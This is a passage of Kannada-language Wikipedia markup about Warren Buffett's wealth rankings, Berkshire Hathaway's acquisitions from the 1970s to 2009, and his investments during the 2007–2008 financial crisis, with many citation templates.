ನಿರೀಕ್ಷಿಸುತ್ತಿರುವುದಾಗಿ ಘೋಷಿಸಿದರು.<ref>{{cite web|accessdate=2008-05-20|url=http://abcnews.go.com/Business/story?id=2916457&page=1|title=HELP WANTED: Warren Buffett Replacement|publisher=[[ABC News]]}}</ref> ಬಫೆಟ್‌‌‌ ಈ ಹಿಂದೆ ಲೂ ಸಿಂಪ್ಸನ್‌ರನ್ನು [[ಗೀಕೋ]]ದಲ್ಲಿನ ಹೂಡಿಕೆಗಳನ್ನು ನಡೆಸುತ್ತಿದ್ದ, ಈ ಜವಾಬ್ದಾರಿಯನ್ನು ನೀಡಲು ಆಯ್ಕೆ ಮಾಡಿದ್ದರು. ಆದರೆ, ಸಿಂಪ್ಸನ್‌ರು ಬಫೆಟ್‌‌ರಿಗಿಂತ ಕೇವಲ ಆರು ವರ್ಷಗಳಷ್ಟೇ ಚಿಕ್ಕವರು. 2008ರಲ್ಲಿ, ಬಫೆಟ್‌‌‌ [[ಬಿಲ್‌ ಗೇಟ್ಸ್‌]]ರನ್ನು ಹಿಂದಿಕ್ಕಿ, [[ಫೋರ್ಬ್ಸ್‌]]ನ ಪ್ರಕಾರ $62 ಶತಕೋಟಿ ಆದಾಯವನ್ನು,<ref>{{cite web|accessdate=2008-05-20|url=http://www.forbes.com/lists/2008/10/billionaires08_Warren-Buffett_C0R3.html|title=#1 Warren Buffett|publisher=[[Forbes]]|date=2008-03-05}}</ref> ಹಾಗೂ [[Yahoo]]ನ ಪ್ರಕಾರ $58 ಶತಕೋಟಿ ಆದಾಯವನ್ನು ಹೊಂದಿದ್ದು ವಿಶ್ವದ ಅತ್ಯಂತ ಶ್ರೀಮಂತ ವ್ಯಕ್ತಿಯಾಗಿ ಹೊರಹೊಮ್ಮಿದರು.<ref>{{cite web|accessdate=2008-10-10|url=https://tech.yahoo.com/news/nm/20081010/tc_nm/us_buffett_forbes|title=Buffett overtakes Gates to top new Forbes list|publisher=Reuters|date=2008-10-10|archive-date=2008-10-14|archive-url=https://web.archive.org/web/20081014182749/http://tech.yahoo.com/news/nm/20081010/tc_nm/us_buffett_forbes|url-status=dead}}</ref> [[ಬಿಲ್‌ ಗೇಟ್ಸ್‌]]ರು [[ಫೋರ್ಬ್ಸ್‌]] ಪಟ್ಟಿಯಲ್ಲಿ 13 ವರ್ಷಗಳ ಕಾಲ ನಿರಂತರವಾಗಿ ಮೊದಲನೇ ಸ್ಥಾನವನ್ನು ಪಡೆದಿದ್ದರು.<ref>{{cite web|accessdate=2008-05-20|url=http://www.forbes.com/2008/03/05/richest-people-billionaires-billionaires08-cx_lk_0305billie_land.html|title=The World's Billionaires|publisher=[[Forbes]]|date=2008-03-05}}</ref> ಮಾರ್ಚ್‌ 11 2009ರಂದು, ಬಿಲ್‌ ಗೇಟ್ಸ್‌ ಫೋರ್ಬ್ಸ್‌ ನಿಯತಕಾಲಿಕೆಯ ಪ್ರಕಾರ, ಬಫೆಟ್‌‌‌ರನ್ನು ಎರಡನೇ ಸ್ಥಾನಕ್ಕೆ ಕಳಿಸಿ ಪಟ್ಟಿಯಲ್ಲಿ ಒಂದನೇ ಸ್ಥಾನವನ್ನು ಮತ್ತೆ ಪಡೆದುಕೊಂಡರು. ಅವರ ಆದಾಯಗಳು ಅನುಕ್ರಮವಾಗಿ $40 ಶತಕೋಟಿ ಹಾಗೂ $37 ಶತಕೋಟಿಗಳಷ್ಟು ಕೆಳಗೆ ಇಳಿದಿದ್ದವು,<ref>{http://en.wikipedia.org/wiki/List_of_the_100_wealthiest_people} {{Webarchive|url=https://web.archive.org/web/20091014164424/http://en.wikipedia.org/wiki/List_of_the_100_wealthiest_people%7D |date=2009-10-14 }}</ref> ಬಫೆಟ್‌‌‌ (ಫೋರ್ಬ್ಸ್‌ನ ಪ್ರಕಾರ) 2008/2009ರ ಅವಧಿಯ 12 ತಿಂಗಳುಗಳಲ್ಲಿ $25 ಶತಕೋಟಿ ಮೊತ್ತವನ್ನು ಕಳೆದುಕೊಂಡಿದ್ದಾರೆ.<ref>[http://www.forbes.com/lists/2009/10/billionaires-2009-richest-people_Warren-Buffett_C0R3.html ]</ref> === ಗಳಿಕೆಗಳು === {{see also|List of assets owned by Berkshire Hathaway }} 1973ರಲ್ಲಿ, ಬರ್ಕ್‌ಷೈರ್‌ [[ವಾಷಿಂಗ್ಟನ್‌ ಪೋಸ್ಟ್‌‌ ಕಂಪೆನಿ]]ಯ ಷೇರುಗಳನ್ನು ಸ್ವಾಧೀನಪಡಿಸಿಕೊಳ್ಳಲು ಆರಂಭಿಸಿತು. ಬಫೆಟ್‌‌‌ ಆ ಕಂಪೆನಿಯನ್ನು ಹಾಗೂ ಅದರ ಹೆಗ್ಗಳಿಕೆಯ ಸುದ್ದಿಪತ್ರಿಕೆಯನ್ನು ನಿಯಂತ್ರಿಸುತ್ತಿದ್ದ [[ಕಾಥರೀನ್‌ ಗ್ರಹಾಮ್‌]]ರ ನಿಕಟವರ್ತಿ ಸ್ನೇಹಿತರಾದರಲ್ಲದೇ, ಅದರ ನಿರ್ದೇಶಕ ಮಂಡಳಿಯಲ್ಲಿ ಸದಸ್ಯತ್ವ ಪಡೆದರು. 1974ರಲ್ಲಿ, SECಯು ವಾರೆನ್‌ ಬಫೆಟ್‌‌‌ ಮತ್ತು ಬರ್ಕ್‌ಷೈರ್‌ಗಳ WESCO ಸಂಸ್ಥೆಯ ಸ್ವಾಧೀನಪಡಿಸಿಕೊಳ್ಳುವಿಕೆಯಲ್ಲಿ ಖಾಸಗಿ ಹಿತಾಸಕ್ತಿಯ ಸಾಧ್ಯತೆಯ ಬಗ್ಗೆ ನಿಯಮಾನುಸಾರ ತನಿಖೆ ಕೈಗೊಂಡಿತು. ಯಾವುದೇ ಆಪಾದನೆಗಳು ಸಾಬೀತಾಗಲಿಲ್ಲ. 1977ರಲ್ಲಿ, ಬರ್ಕ್‌ಷೈರ್‌ ''ಬಫೆಲೊ ಈವ್‌ನಿಂಗ್‌ ನ್ಯೂಸ್‌'' ಸಂಸ್ಥೆಯನ್ನು $32.5 ದಶಲಕ್ಷ ಮೊತ್ತಕ್ಕೆ ಪರೋಕ್ಷವಾಗಿ ಕೊಂಡಿತು. ಅದರ ಪ್ರತಿಸ್ಪರ್ಧಿ ''ಬಫೆಲೊ ಕೊರಿಯರ್‌-ಎಕ್ಸ್‌ಪ್ರೆಸ್‌'' ಸಂಸ್ಥೆಯಿಂದ ಪ್ರೇರಿತವಾಗಿ ವಿಶ್ವಾಸದ್ರೋಹದ ಆಪಾದನೆಗಳನ್ನು ಹೊರಿಸಲಾಯಿತು. ''ಕೊರಿಯರ್‌-ಎಕ್ಸ್‌ಪ್ರೆಸ್‌'' ಸಂಸ್ಥೆಯು 1982ರಲ್ಲಿ ಮುಚ್ಚುವ ಹೊತ್ತಿಗೆ ಎರಡೂ ಸುದ್ದಿಸಂಸ್ಥೆಗಳು ಹಣವನ್ನು ಕಳೆದುಕೊಂಡಿದ್ದವು. 1979ರಲ್ಲಿ, ಬರ್ಕ್‌ಷೈರ್‌ ABC ಸಂಸ್ಥೆಯ ಷೇರುಗಳನ್ನು ಸ್ವಾಧೀನಪಡಿಸಿಕೊಳ್ಳಲು ಆರಂಭಿಸಿತು. $3.5 ಶತಕೋಟಿಗಳಿಗೆ ABC ಸಂಸ್ಥೆಯನ್ನು ಮಾರ್ಚ್‌ 18, 1985ರಂದು ಕ್ಯಾಪಿಟಲ್‌ ಸಿಟೀಸ್‌‌ ಕೊಂಡಿದ್ದನ್ನು ಘೋಷಿಸಿದಾಗ ಮಾಧ್ಯಮ ಉದ್ಯಮವೇ ನಿಬ್ಬೆರಗಾಯಿತು, ಏಕೆಂದರೆ ಆ ಸಮಯದಲ್ಲಿ ABC ಸಂಸ್ಥೆಯು ಕ್ಯಾಪಿಟಲ್‌ ಸಿಟೀಸ್‌‌ ಸಂಸ್ಥೆಗಿಂತ ನಾಲ್ಕು ಪಟ್ಟಿಗಿಂತಲೂ ಹೆಚ್ಚು ದೊಡ್ಡದಾಗಿತ್ತು. [[ಬರ್ಕ್‌ಷೈರ್‌ ಹಾಥ್‌ವೇ]]ನ ಅಧ್ಯಕ್ಷರಾದ ವಾರೆನ್‌ ಬಫೆಟ್‌‌‌ ಸಂಯೋಜಿತ ಕಂಪೆನಿಯ 25 ಪ್ರತಿಶತ ಹೂಡಿಕೆಯ ವಿನಿಮಯದ ಪ್ರತಿಫಲವಾಗಿ ಈ ವ್ಯವಹಾರಕ್ಕೆ ಹಣಕಾಸು ನೆರವನ್ನು ನೀಡಿದರು.<ref>ಕ್ಲೇನ್‌ಫೀಲ್ಡ್‌, N.R. "ABCಯು $3.5 ಶತಕೋಟಿಗಳಿಗೆ ಮಾರಾಟವಾಗುತ್ತಿದೆ ; 1ನೇ ವೃತ್ತಿಜಾಲದ ಮಾರಾಟ." ''ದ ನ್ಯೂಯಾರ್ಕ್‌ ಟೈಮ್ಸ್‌'' , ಮಾರ್ಚ್‌ 19, 1985.</ref> ಕ್ಯಾಪಿಟಲ್‌ ಸಿಟೀಸ್‌‌/ABC (ಅಥವಾ ಕ್ಯಾಪ್‌ಸಿಟೀಸ್‌/ABC) ಎಂದು ಹೆಸರಾದ ಹೊಸದಾಗಿ ವಿಲೀನಗೊಂಡ ಕಂಪೆನಿಯು FCC ಮಾಲೀಕತ್ವದ ನಿಯಮಗಳಿಂದಾಗಿ ಕೆಲ ಕೇಂದ್ರಗಳನ್ನು ಮಾರಬೇಕಾದ ಅನಿವಾರ್ಯತೆ ಎದುರಿಸಿತು. ಹಾಗೆಯೇ ಇವೆರಡೂ ಕಂಪೆನಿಗಳು ಅದೇ ಮಾರುಕಟ್ಟೆ ವ್ಯಾಪ್ತಿಯ ಅನೇಕ ರೇಡಿಯೋ ಕೇಂದ್ರಗಳ ಮಾಲೀಕತ್ವ ಪಡೆದವು.<ref>"ಕ್ಯಾಪ್‌ಸಿಟೀಸ್‌/ABC ವ್ಯವಹಾರಕ್ಕೆ FCCಯ ಅಂಗೀಕಾರದ ಸಾಧ್ಯತೆ." ''[[ಬ್ರಾಡ್‌ಕಾಸ್ಟಿಂಗ್‌‌]]'' , ಮಾರ್ಚ್‌ 25, 1985.</ref> 1987ರಲ್ಲಿ, ಬರ್ಕ್‌ಷೈರ್‌ ಹಾಥ್‌ವೇ ಸಂಸ್ಥೆಯು ಸಾಲೊಮನ್‌ Inc. ಸಂಸ್ಥೆಯ 12% ಹೂಡಿಕೆಯನ್ನು ಕೊಂಡು ಅತ್ಯಂತ ಹೆಚ್ಚಿನ ಷೇರುದಾರನೆನಿಸಿಕೊಂಡು, ಬಫೆಟ್‌‌‌ರನ್ನು ಅದರ ನಿರ್ದೇಶಕರನ್ನಾಗಿಸಿತು. 1990ರಲ್ಲಿ, [[ಜಾನ್‌ ಗಟ್‌ಫ್ರಾಂಡ್‌]]ರನ್ನು (ಸಾಲೊಮನ್‌ ಬ್ರದರ್ಸ್‌ ಸಂಸ್ಥೆಯ ಮಾಜಿ CEO) ಒಳಗೊಂಡ ಹಗರಣವು ಬೆಳಕು ಕಂಡಿತು. [[ಪಾಲ್‌ ಮೋಜರ್‌]] ಎಂಬ ಓರ್ವ ವಂಚಕ ವ್ಯಾಪಾರಿಯು, ಖಜಾನೆ ನಿಯಮಗಳನ್ನು ಉಲ್ಲಂಘಿಸಿ ಹೆಚ್ಚಿನ ಮೊತ್ತದ ಬಿಡ್‌ಗಳನ್ನು ಮಾಡುತ್ತಿದ್ದರು. ಇದನ್ನು ಪತ್ತೆಹಚ್ಚಿ ಗಟ್‌ಫ್ರಾಂಡ್‌ರ ಗಮನಕ್ಕೆ ತಂದಾಗ ಅವರು ತಕ್ಷಣವೇ ವಂಚಕ ವ್ಯಾಪಾರಿಯ ವ್ಯವಹಾರವನ್ನು ಸ್ಥಗಿತಗೊಳಿಸಲಿಲ್ಲ. ಗಟ್‌ಫ್ರಾಂಡ್‌ ಆಗಸ್ಟ್‌ 1991ರಲ್ಲಿ ಕಂಪೆನಿಯನ್ನು ತ್ಯಜಿಸಿದರು.<ref>[http://mbaa.fuqua.duke.edu/ldi/press_johngutfreund.html ''ಇನ್‌ಆಕ್ಷನ್‌ ಕ್ಯಾನ್‌ ಬಿ ಆಸ್‌ ಡೇಂಜರಸ್‌ ಆಸ್‌ ಬ್ಯಾಡ್‌ ಆಕ್ಷನ್‌'' , ಅಲೈ ಗೊನೆನ್ನೆ, 2004ರ ವರ್ಗ, ಡ್ಯೂಕ್‌ ಲೀಡರ್‌ಶಿಪ್‌ ಡೆವೆಲಪ್‌ಮೆಂಟ್‌ ಇನಿಷಿಯೇಟಿವ್‌]</ref> ಈ ಬಿಕ್ಕಟ್ಟು ನಿವಾರಣೆಯಾಗುವವರೆಗೆ ಬಫೆಟ್‌‌‌ ಸಾಲೊಮನ್‌ನ CEO ಆಗಿ ಕಾರ್ಯನಿರ್ವಹಿಸಿದ್ದರು; ಸೆಪ್ಟೆಂಬರ್‌ 4 1991ರಂದು, ಶಾಸನಸಭೆಯ ಮುಂದೆ ಸಾಕ್ಷಿ ಹೇಳಿದರು.<ref>{{Cite web |url=http://www.c-spanarchives.org/library/index.php?main_page=product_video_info&products_id=21029-1 |title=ಆರ್ಕೈವ್ ನಕಲು |access-date=2021-08-10 |archive-date=2012-03-08 |archive-url=https://web.archive.org/web/20120308182509/http://www.c-spanarchives.org/library/index.php?main_page=product_video_info&products_id=21029-1 |url-status=dead }}</ref> 1988ರಲ್ಲಿ, ಬಫೆಟ್‌‌‌ [[ಕೋಕಾ-ಕೋಲಾ ಕಂಪೆನಿ]]ಯ ಷೇರುಗಳನ್ನು ಕೊಳ್ಳಲು ಪ್ರಾರಂಭಿಸಿ, ಅಂತಿಮವಾಗಿ ಕಂಪೆನಿಯ 7 ಪ್ರತಿಶತದವರೆಗಿನ ಷೇರುಗಳನ್ನು $1.02 ಶತಕೋಟಿಗಳಿಗೆ ಕೊಂಡರು. ಈ ವ್ಯವಹಾರವು ಬರ್ಕ್‌ಷೈರ್‌ನ ಇದುವರೆಗಿನ ಅತ್ಯಂತ ಲಾಭದಾಯಕ ಹೂಡಿಕೆಯಾಗಿದ್ದು ಈಗಲೂ ಸ್ವಾಧೀನದಲ್ಲಿರುವ ಹೂಡಿಕೆಗಳಲ್ಲೊಂದಾಗಿದೆ. 2002ರಲ್ಲಿ, ಬಫೆಟ್‌‌‌ U.S. ಡಾಲರ್‌ಗಳನ್ನು ಇತರೆ ಚಲಾವಣಾ ಮಾನಕ/ಕರೆನ್ಸಿಗಳ ಬದಲಿಗೆ ನೀಡುವ $11 ಶತಕೋಟಿ ಮೌಲ್ಯದ [[ಮುಂಗಡ ಒಪ್ಪಂದ]]ಗಳಿಗೆ ವ್ಯವಹಾರವನ್ನು ಆರಂಭಿಸಿದರು. ಏಪ್ರಿಲ್‌ 2006ರ ಹೊತ್ತಿಗೆ, ಈ ಒಪ್ಪಂದಗಳಿಂದಾಗಿ ಅವರು ಪಡೆದ ಒಟ್ಟಾರೆ ಲಾಭವು $2 ಶತಕೋಟಿಗಳಿಗೂ ಮೀರಿದ್ದಾಗಿತ್ತು. 1998ರಲ್ಲಿ, ಅವರು [[ಜನರಲ್‌ ರೇ]], (ಅಪರೂಪದ ವ್ಯವಹಾರವಾಗಿ ಷೇರುಗಳ ವಿನಿಮಯವಾಗಿ) ಸಂಸ್ಥೆಯನ್ನು ಸ್ವಾಧೀನಪಡಿಸಿಕೊಂಡರು. 2002ರಲ್ಲಿ, [[AIG]]ಯ [[ಮಾರಿಸ್‌ R. ಗ್ರೀನ್‌ಬರ್ಗ್‌]]ರೊಂದಿಗೆ ಸೇರಿಕೊಂಡು, [[ಮರುವಿಮೆ]]ಯನ್ನು ಜನರಲ್‌ ರೇ ಸಂಸ್ಥೆಯು ನೀಡುವ ರೀತಿಯಲ್ಲಿ ಬಫೆಟ್‌‌‌ ಪಾಲ್ಗೊಂಡರು. ಮಾರ್ಚ್‌ 15, 2005ರಂದು, AIGಯ ಮಂಡಳಿಯು [[ನ್ಯೂಯಾರ್ಕ್‌]] ರಾಜ್ಯದ ಅಟಾರ್ನಿ ಜನರಲ್‌ [[ಎಲಿಯಟ್‌ ಸ್ಪಿಟ್ಜರ್‌]]ರಿಂದ ಟೀಕೆಗೆ ಒಳಗಾದ ಹಿನ್ನೆಲೆಯಲ್ಲಿ ಅಧ್ಯಕ್ಷ ಹಾಗೂ CEO ಹುದ್ದೆಗಳಿಗೆ ರಾಜೀನಾಮೆ ನೀಡುವಂತೆ ಗ್ರೀನ್‌ಬರ್ಗ್‌ರ ಮೇಲೆ ಒತ್ತಡ ಹೇರಿತು. ಫೆಬ್ರವರಿ 9, 2006ರಂದು, AIG ಮತ್ತು ನ್ಯೂಯಾರ್ಕ್‌ ರಾಜ್ಯದ ಅಟಾರ್ನಿ ಜನರಲ್‌ ಕಛೇರಿಗಳು, AIG ಸಂಸ್ಥೆಯು $1.6 ಶತಕೋಟಿಗಳ ದಂಡವನ್ನು ಪಾವತಿಸಬೇಕೆಂಬ ಒಪ್ಪಂದಕ್ಕೆ ಬಂದವು.<ref>{{cite web|url=http://www.sec.gov/news/press/2006-19.htm |title=AIG to Pay $800 Million to Settle Securities Fraud Charges by SEC; Over $1.6 Billion to be Paid to Resolve Federal and New York State Actions |date=2006-02-09 |publisher=[[Securities and Exchange Commission]] }}</ref> 2009ರಲ್ಲಿ, ವಾರೆನ್‌ ಬಫೆಟ್‌‌‌ [[ಸ್ವಿಸ್‌ ರೇ]] ಸಂಸ್ಥೆಯ ಸಾಮಾನ್ಯ ಷೇರು ಬಂಡವಾಳಗಳ ಹೂಡಿಕೆಯ ಭಾಗವಾಗಿ $2.6 ಶತಕೋಟಿಗಳನ್ನು ಹೂಡಿದರು.<ref>{{cite journal| url=http://www.forbes.com/2009/02/05/swiss-re-buffett-markets-equity-0205_insurance_08.html| title=Buffett Sinks Billions Into Swiss Re| work=Forbes Magazine| author=Lionel Laurent| date=02.05.09| archiveurl=https://archive.today/20120731040409/http://www.forbes.com/2009/02/05/swiss-re-buffett-markets-equity-0205_insurance_08.html| archivedate=2012-07-31| access-date=2010-02-04| url-status=dead}}</ref><ref>{{cite journal| url=https://www.nytimes.com/2009/02/06/business/worldbusiness/06swiss.html?ref=business| title=Swiss Re Gets $2.6 Billion From Berkshire Hathaway | work=The New York Times| author=DAVID JOLLY| date=February 5, 2009 }}</ref> ಬರ್ಕ್‌ಷೈರ್‌ ಹಾಥ್‌ವೇ ಸಂಸ್ಥೆಯು ಇದರಲ್ಲಿ ಈಗಾಗಲೇ 3% ಷೇರುಗಳನ್ನು ಹೊಂದಿದ್ದು, 20%ಗೂ ಹೆಚ್ಚಿನದನ್ನು ಕೊಳ್ಳಬಲ್ಲ ಹಕ್ಕನ್ನು ಹೊಂದಿದೆ.<ref>{{cite journal| url=http://www.ft.com/cms/s/0/8099d660-f354-11dd-9c4b-0000779fd2ac.html| title=Swiss Re turns to Buffett for new funding| work=The Financial Times| date=February 5, 2009| author=Haig Simonian, Francesco Guerrera }}</ref> 2009ರಲ್ಲಿ, ವಾರೆನ್‌ ಬಫೆಟ್‌‌‌ [[ಬರ್ಲಿಂಗ್‌ಟನ್‌ ನಾರ್ಥರ್ನ್‌ ಸಾಂಟಾ ಫೆ Corp.]] ಸಂಸ್ಥೆಯನ್ನು $34 ಶತಕೋಟಿ ಮೌಲ್ಯದ ನಗದು ಹಾಗೂ ಷೇರುಗಳ ರೂಪದಲ್ಲಿ ಸ್ವಾಧೀನಪಡಿಸಿಕೊಂಡರು. ಸ್ನೋಬಾಲ್‌ ಕೃತಿಯ ಲೇಖಕಿಯಾದ ಅಲೈಸ್‌ ಷ್ರೋಡರ್‌ರು ಹೇಳುವಂತೆ ‌ಈ ಕೊಳ್ಳುವಿಕೆಯ ಉದ್ದೇಶವು ಬರ್ಕ್‌ಷೈರ್‌ ಹಾಥ್‌ವೇ ಸಂಸ್ಥೆಯನ್ನು ಹಣಕಾಸು ಉದ್ಯಮದಿಂದ ಭಿನ್ನವಾದ ಉದ್ಯಮದಲ್ಲಿ ತೊಡಗಿಕೊಳ್ಳುವಂತೆ ಮಾಡುವುದಾಗಿತ್ತು.[http://www.gurufocus.com/news.php?id=76366 ] === 2000ನೇ ಇಸವಿಯ ಅಂತ್ಯದಲ್ಲಿನ ಕುಸಿತ === ಬಫೆಟ್‌‌‌ [[2000ನೇ ಇಸವಿಯ ಅಂತ್ಯದಲ್ಲಿನ ಕುಸಿತ]] ಅಂಗವಾದ [[2007–2008ರ ಬಿಕ್ಕಟ್ಟಿನ]] ಸಂದರ್ಭದಲ್ಲಿ, ಬಂಡವಾಳವನ್ನು ತುಂಬ ಮುಂಚೆಯೇ ಹೂಡಿ ಅಲ್ಪಲಾಭದಾಯಕ ವ್ಯವಹಾರಗಳಿಗೆ ಕಾರಣರಾದರೆಂಬ ಟೀಕೆಗಳಿಗೆ ಒಳಗಾದರು<ref>{{cite web|accessdate=2008-05-20|url=http://www.cnbc.com/id/27400058|title= WSJ to Warren Buffett: "Time to Get a New Crystal Ball"|publisher=[[CNBC]]|author=Crippen, Alex}}</ref>. “ಅಮೇರಿಕನ್‌ ವಸ್ತುಗಳನ್ನು ಕೊಳ್ಳಿ. ನಾನೂ ಹಾಗೆ ಮಾಡುವೆ.” ಎಂಬುದು ಇತ್ತೀಚೆಗೆ ನ್ಯೂಯಾರ್ಕ್‌ ಟೈಮ್ಸ್‌ ಪತ್ರಿಕೆಯಲ್ಲಿ ಪ್ರಕಟವಾದ ವಾರೆನ್‌ ಬಫೆಟ್‌‌‌ರ ಅಭಿಪ್ರಾಯದ ತುಣುಕು.<ref>{{cite web |url= http://stock-broker-security.com/warren-buffet-way/ |title= Warren Buffet and the Recession |accessdate= 2009-06-18 |date= 2009-06-18 |work= Warren Buffet and the Recession |archive-date= 2009-06-28 |archive-url= https://web.archive.org/web/20090628143114/http://stock-broker-security.com/warren-buffet-way/ |url-status= dead }}</ref> ಬಫೆಟ್‌‌‌ 2007ರಿಂದ—ಪ್ರಸ್ತುತದವರೆಗಿನ ಆರ್ಥಿಕ ವಲಯದಲ್ಲಿನ ಹಿಂಜರಿಕೆಯನ್ನು "[[ಕವಿಸಮಯದ ನ್ಯಾಯ]]" ಎಂದು ಕರೆದಿದ್ದಾರೆ.<ref>{{cite web|accessdate=2008-05-20| url=http://www.reuters.com/article/businessNews/idUSN0631767220080207| title=Buffett: Bank woes are "poetic justice"| publisher=Reuters|date=2008-02-07|author=Dabrowski, Wojtek}}</ref> ಬಫೆಟ್‌‌ರ ಬರ್ಕ್‌ಷೈರ್‌ ಹಾಥ್‌ವೇ ಕಂಪೆನಿಯು 2008ರ Q3ರಲ್ಲಿ ಆದಾಯದಲ್ಲಿ 77% ಇಳಿಕೆ ಅನುಭವಿಸಿತು ಹಾಗೂ ಆತನ ಅನೇಕ ಇತ್ತೀಚಿನ ವ್ಯವಹಾರಗಳು [[ಮಾರುಕಟ್ಟೆ ಬೆಲೆಗಿಂತ ಅಲ್ಪಬೆಲೆಯ ವ್ಯವಹಾರಗಳ]] ಬೃಹತ್‌ ನಷ್ಟಗಳಾಗಿ ಪರಿಣಮಿಸಿವೆ.<ref>{{cite web|accessdate=2008-11-14|url=http://www.insurancejournal.com/news/national/2008/11/10/95403.htm|title= Even Buffett Can't Escape Markets, Storms; Berkshire Profit Falls 77%|publisher=Insurance Journal}}</ref> ಬರ್ಕ್‌ಷೈರ್‌ ಹಾಥ್‌ವೇ [[ಗೋಲ್ಡ್‌ಮನ್‌ ಸ್ಯಾಷ್‌]]<ref>{{cite web|accessdate=2008-11-14|url=http://www2.goldmansachs.com/our-firm/press/press-releases/current/berkshire-hathaway-invest.html|title=Berkshire Hathaway to Invest $5 Billion in Goldman Sachs|publisher=[[Goldman Sachs]]|author=Press Release|archive-date=2008-12-20|archive-url=https://web.archive.org/web/20081220053032/http://www2.goldmansachs.com/our-firm/press/press-releases/current/berkshire-hathaway-invest.html|url-status=dead}}</ref> ನ 10% ಸತತ ಆದ್ಯತೆಯ ಷೇರುಗಳನ್ನು ಸ್ವಾಧೀನಪಡಿಸಿಕೊಂಡಿದೆ. ಬಫೆಟ್‌‌ರು ಬರೆದ (ಮಾರಿದ) ಕೆಲ ಇಂಡೆಕ್ಸ್‌ ಪುಟ್‌ ಆಯ್ಕೆಗಳು (ಮುಕ್ತಾಯದಲ್ಲಿ ಮಾತ್ರವೇ ಯೂರೋಪಿನಲ್ಲಿ ಚಲಾವಣೆ ಮಾಡಲಾಗುತ್ತದೆ) $6.73 ಶತಕೋಟಿಯಷ್ಟು ಮಾರುಕಟ್ಟೆ ಬೆಲೆಗಿಂತ ಅಲ್ಪಬೆಲೆಯ ವ್ಯವಹಾರಗಳ ನಷ್ಟವನ್ನನುಭವಿಸುತ್ತಿವೆ.<ref name="reuters.com">{{cite web|accessdate=2008-11-27|url=http://www.reuters.com/article/ousiv/idUSTRE4AN8BQ20081124|title= Buffett to disclose more on derivatives|publisher=Reuters|author=Jonathan Stempel}}</ref> ಸಂಭಾವ್ಯ ನಷ್ಟದ ಬೃಹತ್‌ ಪ್ರಮಾಣವು SECಯನ್ನು ಒಪ್ಪಂದಗಳ ನಿರ್ಣಯಗಳಿಗೆ ಬಳಸುವ ಮಾನಕಗಳ "ಹೆಚ್ಚು ಸಾಮರ್ಥ್ಯದ ಪ್ರಕಟಣೆಗಳನ್ನು" ನೀಡುವಂತೆ ಬರ್ಕ್‌ಷೈರ್‌ಗೆ ಒತ್ತಾಯಪಡಿಸುವಂತೆ ಮಾಡಿದೆ.<ref name="reuters.com"/> [[ಡೌ ಕೆಮಿಕಲ್‌]]ಗೆ ತಾನು ಪಡೆದುಕೊಂಡ [[ರಾಹ್ಮ್‌ &amp; ಹಾಸ್‌]] ಸಂಸ್ಥೆಯ ಸ್ವಾಧೀನತೆಯ ಮೊತ್ತವಾದ $18.8 ಶತಕೋಟಿಯನ್ನು ಪಾವತಿಸಲು ಸಹಾ ಬಫೆಟ್‌‌‌ ಸಹಾಯ ಮಾಡಿದ್ದಾರೆ. ಇದರಿಂದಾಗಿ ಅವರು ತಮ್ಮ [[ಬರ್ಕ್‌ಷೈರ್‌ ಹಾಥ್‌ವೇ]]ಯೊಂದಿಗೆ ವಿಸ್ತೃತ ಸಮೂಹದ $3 ಶತಕೋಟಿ ಮೌಲ್ಯದ ಏಕೈಕ ಅತಿ ದೊಡ್ಡ ಷೇರುದಾರರೆನಿಸಿಕೊಂಡರಲ್ಲದೇ, ಸಾಲ ಹಾಗೂ ಸಾಮಾನ್ಯ ಷೇರು ಮಾರುಕಟ್ಟೆಗಳ ಪ್ರಸಕ್ತ ಬಿಕ್ಕಟ್ಟಿನ ಸಂದರ್ಭದಲ್ಲಿ ತಾವು ಕಾರಣಕರ್ತರಾಗಿರುವ ಪಾತ್ರವನ್ನು ಎತ್ತಿತೋರಿಸಿದಂತಾಗಿದೆ.<ref>{{cite web|last=Fontanella |first=James |url=http://ftalphaville.ft.com/blog/2008/07/11/14430/buffett-helps-dow-pay-19bn-for-rh/ |title=ftalphaville.ft.com, Buffett helps Dow pay $19bn for R&H |publisher=Ftalphaville.ft.com |date=2008-07-11 |accessdate=2009-02-23}}</ref> ಅಕ್ಟೋಬರ್‌‌ 2008ರಲ್ಲಿ, [[ಜನರಲ್‌ ಎಲೆಕ್ಟ್ರಿಕ್‌]] (GE)ನ ಆದ್ಯತೆಯ ಷೇರುಗಳನ್ನು ಕೊಳ್ಳಲು ವಾರೆನ್‌ ಬಫೆಟ್‌‌‌ ಒಪ್ಪಿಗೆ ನೀಡಿದ್ದಾಗಿ ಮಾಧ್ಯಮಗಳು ವರದಿ ಮಾಡಿದ್ದವು.<ref>[https://www.theguardian.com/business/2008/oct/01/warrenbuffett.generalelectric ವಾರೆನ್‌ ಬಫೆಟ್‌‌‌ ಟು ಬೈ $3bn ಆಫ್‌ ಜನರಲ್‌ ಎಲೆಕ್ಟ್ರಿಕ್‌‌ ಪ್ರಿಫೆರಡ್‌ ಸ್ಟಾಕ್‌], [[ದ ಗಾರ್ಡಿಯನ್‌]] (1 ಅಕ್ಟೋಬರ್‌‌ 2008)</ref> ಈ ಚಟುವಟಿಕೆಯು ಅಧಿಕ ವಿಶೇಷ ಪ್ರೋತ್ಸಾಹಕಗಳನ್ನೊಳಗೊಂಡಿತ್ತು: ಅವರು ಮುಂದಿನ ಐದು ವರ್ಷಗಳಲ್ಲಿ 3 ಶತಕೋಟಿ ಮೌಲ್ಯದ GE ಷೇರುಗಳನ್ನು $22.25ರ ದರದಲ್ಲಿ ಕೊಳ್ಳುವ ಆಯ್ಕೆಯನ್ನು ಹಾಗೂ (ಮೂರು ವರ್ಷಗಳಲ್ಲಿ ಯಾವಾಗ ಬೇಕಾದರೂ ಪಡೆಯಬಹುದಾದ) 10% ಲಾಭಾಂಶವನ್ನು ಪಡೆದರು. ಫೆಬ್ರವರಿ 2009ರಲ್ಲಿ, ವಾರೆನ್‌ ಬಫೆಟ್‌‌‌ ತನ್ನ ಸ್ವಾಮ್ಯದ ಪ್ರಾಕ್ಟರ್‌ & ಗ್ಯಾಂಬಲ್‌ Co, ಹಾಗೂ ಜಾನ್‌ಸನ್‌ & ಜಾನ್‌ಸನ್‌ ಷೇರುಗಳ ಕೆಲ ಭಾಗವನ್ನು ಮಾರಿದರು.<ref>{{cite web |url=http://www.financialexpress.com/news/berkshire-sells-johnson-&-johnson-procter-&-gamble/425035/ |title=Berkshire Hathaway unloads J&J and P&G |publisher=Financial Express |date=2009-02-17 |accessdate=2009-02-23 |archive-date=2009-10-15 